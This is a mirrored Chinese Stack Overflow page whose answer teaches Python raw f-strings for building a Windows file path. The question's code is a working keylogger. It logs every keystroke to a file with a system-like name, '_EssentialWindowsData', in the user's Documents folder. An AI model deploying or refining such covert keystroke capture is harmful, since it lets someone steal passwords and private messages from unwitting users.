python - 如何将变量与文本字符串混合?

标签 python

from pynput.keyboard import Key, Listener
import logging
import getpass

user = getpass.getuser()
logging.basicConfig(filename=("c:\Users\{user}\Documents\_EssentialWindowsData"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")  
 
def on_press(key):
    logging.info(str(key))
 
with Listener(on_press=on_press) as listener :
    listener.join()

我的问题是 filename=("c:\Users\{user}\Documents\_EssentialWindowsData") 中的第 6 行代码 我想集成电脑的用户,但不知道如何使其工作。

最佳答案

利用 rf'' 的力量 - raw f-string:

>>> from getpass import getuser
>>> rf"c:\Users\{getuser()}\Documents\_EssentialWindowsData"
'c:\\Users\\rnag\\Documents\\_EssentialWindowsData'

Raw 的力量(字符串)

假设我们有一个嵌入了 \n 换行符和 \t 制表符的字符串:

>>> print('\my\name\is\tom\nhanks')
\my
ame\is  om
hanks
>>> print(r'\my\name\is\tom\nhanks')
\my\name\is\tom\nhanks

F(弦乐)的力量

f-strings允许直接在字符串中插入变量。它们非常快,甚至(稍微)比普通字符串连接 (+) 更好。

>>> first = 'Jon'
>>> last = 'Doe'
>>> age = 23
>>> 'my name is {first} {last}, and I am {age}'
'my name is {first} {last}, and I am {age}'
>>> f'my name is {first} {last}, and I am {age}'
'my name is Jon Doe, and I am 23'
>>> 'my name is ' + first + ' ' + last + ', and I am ' + str(age)
'my name is Jon Doe, and I am 23'
>>> 'I am ' + age + ' years old!'
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: must be str, not int
>>> f'I am {age} years old! f-strings RULE!!'
'I am 23 years old! f-strings RULE!!'

关于python - 如何将变量与文本字符串混合?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/75893741/

相关文章:

python - 为什么创建自定义模块类时导入不起作用?

python - 对文本文件的批量操作仅对一半文件执行

python - 如何将产品信息导出到csv并创建6列?

python - 在 Microsoft Outlook COM 中使用 win32com 的相对路径

python从套接字流接收图像

python - Vim 键映射不匹配

python - 通过字典值之一的索引将字典拆分为多个字典

python - 必须使用某种集合调用索引 : assign column name to dataframe

python - 如何在 pytest 中的 mark.parametrize 中使用固定装置

python - python中assert语句的参数存在性